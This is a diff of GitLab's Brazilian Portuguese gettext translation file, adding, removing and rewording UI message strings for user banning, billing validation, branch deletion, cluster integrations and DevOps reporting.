msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr "Avançado"
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] "Alerta"
msgstr[1] "Alertas"
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr "Todos os recursos estão habilitados para projetos em branco, a partir de modelos ou ao importar, mas você pode desativá-los posteriormente nas configurações do projeto."
-
msgid "All groups and projects"
msgstr "Todos os grupos e projetos"
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr "Ocorreu um erro ao buscar cores de rótulo."
msgid "An error occurred while fetching markdown preview"
msgstr "Erro ao gerar pré-visualização do markdown"
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr "Abr"
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr "Projeto arquivado! Repositório e outros recursos de projeto são somente leitura"
msgid "Archived projects"
msgstr "Projetos arquivados"
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr "Gerenciamento automático de certificado usando Let's Encrypt"
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr "Cor de Fundo"
msgid "Background Jobs"
msgstr "Tarefas em Segundo Plano"
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr "Cor do plano de fundo"
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr "Saiba mais sobre cada plano visitando nossa %{pricing_page_link}."
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr "Gerenciar plano"
@@ -5004,6 +5069,9 @@ msgstr "Esse grupo usa o plano associado com seu grupo pai."
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr "Para gerenciar o plano para esse grupo, visite a seção de cobrança de %{parent_billing_page_link}."
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr "perguntas frequentes"
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr "mensalmente"
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr "Branches ativos"
msgid "Branches|All"
msgstr "Todos"
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr "Não foi possível encontrar o commit HEAD para essa branch"
@@ -5298,6 +5402,9 @@ msgstr "Apagar todas as branches que foi feito merge em '%{default_branch}'"
msgid "Branches|Delete branch"
msgstr "Apagar branch"
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr "Apagar branches que foram feito merge"
@@ -5307,6 +5414,12 @@ msgstr "Apagar branch protegida"
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr "Apagar branch protegida '%{branch_name}'?"
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr "Apagar a branch '%{branch_name}' não pode ser desfeito. Você tem certeza?"
@@ -5328,12 +5441,18 @@ msgstr "Nenhuma branch para mostrar"
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr "Uma vez que você confirmar e pressionar %{delete_protected_branch}, não pode ser desfeito ou recuperado."
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr "Somente um mantenedor ou dono do projeto poderá apagar branches protegidas"
msgid "Branches|Overview"
msgstr "Visão Geral"
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr "Branches protegidas podem ser gerenciadas em %{project_settings_link}."
@@ -5367,6 +5486,9 @@ msgstr "O brach não pôde ser atualizado automaticamente porque ele divergiu de
msgid "Branches|The default branch cannot be deleted"
msgstr "A branch padrão não pode ser apagada"
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr "Essa branch não teve o merge realizado na '%{default_branch}'."
@@ -5379,6 +5501,18 @@ msgstr "Para confirmar, digite %{branch_name_confirmation}:"
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr "Para descartar as alterações locais e sobrescrever o branch com a versão upstream, exclua-o aqui e escolhe 'Atualize agora' acima."
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr "Você irá apagar irreparavelmente a branch protegida '%{branch_name}'."
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr "Por %{user_name}"
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr "Por padrão, o GitLab envia e-mails em formatos HTML e texto plano para que os clientes possam escolher o formato a ser utilizado. Desative esta opção se você quiser apenas enviar e-mails em formato de texto plano."
@@ -5580,15 +5720,15 @@ msgstr "Configuração de CI/CD"
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr "CI/CD para um repositório externo"
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,8 +6433,8 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr "Escolha a branch/tag (ex: %{master}) ou número do commit (ex: %{sha}) para ver o que mudou ou para criar um merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgstr ""
msgid "Choose a file"
msgstr "Escolha um arquivo"
@@ -6674,72 +6817,6 @@ msgstr "Fecha este %{quick_action_target}."
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr "Domínio base"
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr "Certificado CA"
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr "Cluster gerenciado pelo GitLab"
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr "Google Cloud Platform projeto"
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr "Tipo de máquina"
@@ -7370,9 +7444,6 @@ msgstr "Tenha certeza de que sua conta %{link_to_requirements} para criar cluste
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr "Remover integração com o cluster Kubernetes"
@@ -7610,9 +7678,6 @@ msgstr "Selecione a zone para escolher o tipo de máquina"
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr "Token de serviço"
@@ -7625,9 +7690,6 @@ msgstr "Token de serviço é necessário."
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr "Alguma coisa deu errado do nosso lado."
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr "Padrão"
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr "Commit"
msgid "CommitMessage|Add %{file_name}"
msgstr "Adicionar %{file_name}"
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr "Escrito"
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr "Confidencialidade"
msgid "Configuration"
msgstr "Configuração"
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr "Configure os runners do GitLab para começar a usar o Terminal da Web. %{helpStart}Saiba mais.%{helpEnd}"
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr "Criar novo domínio"
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr "Crie uma conta do GitLab primeiro e em seguida conecte-a à sua conta %{label}."
@@ -9238,9 +9315,6 @@ msgstr "Criar um novo repositório"
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr "Crie um token de acesso pessoal na sua conta para dar pull ou push via %{protocol}."
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr "Criar grupo"
msgid "Create group label"
msgstr "Criar etiqueta de grupo"
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr "Criar novo arquivo ou diretório"
msgid "Create new label"
msgstr "Criar nova etiqueta"
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr "Criar novo..."
@@ -9376,6 +9456,9 @@ msgstr "Crie sua primeira página"
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr "Adicionar um estágio"
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr "DNS"
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
+msgstr ""
+
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|Leader usage"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr "Desativar autenticação de dois fatores"
msgid "Disabled"
msgstr "Desativado"
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr "Os espelhos desativados só podem ser ativados por donos de instâncias. É recomendável que você os exclua."
@@ -11451,6 +11546,9 @@ msgstr "Notificações do Discord"
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr "Descubra o GitLab Geo"
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr "Validade"
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr "Durante esse processo, você será perguntado por URLs do lado do GitLab. Use os URLs mostrados abaixo."
@@ -11819,9 +11932,6 @@ msgstr "Editar chave de deploy pública"
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,15 +12118,15 @@ msgstr ""
msgid "Embed"
msgstr "Embutido"
+msgid "Embed an image of your existing Jaeger server in GitLab."
+msgstr ""
+
msgid "Empty file"
msgstr "Arquivo vazio"
msgid "Enable"
msgstr "Ativar"
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
-msgstr ""
-
msgid "Enable Auto DevOps"
msgstr "Ativar Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr "Ativar configuração de espelho"
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr "Ative ou desative a coleção de dados Pseudonymizer"
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr "Erro ao alterar configuração de notificação de assinatura"
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr "Ocorreu um erro. O usuário não foi bloqueado"
msgid "Error occurred. User was not confirmed"
msgstr "Ocorreu um erro. O usuário não foi confirmado"
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr "Ocorreu um erro. O usuário não foi desbloqueado"
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
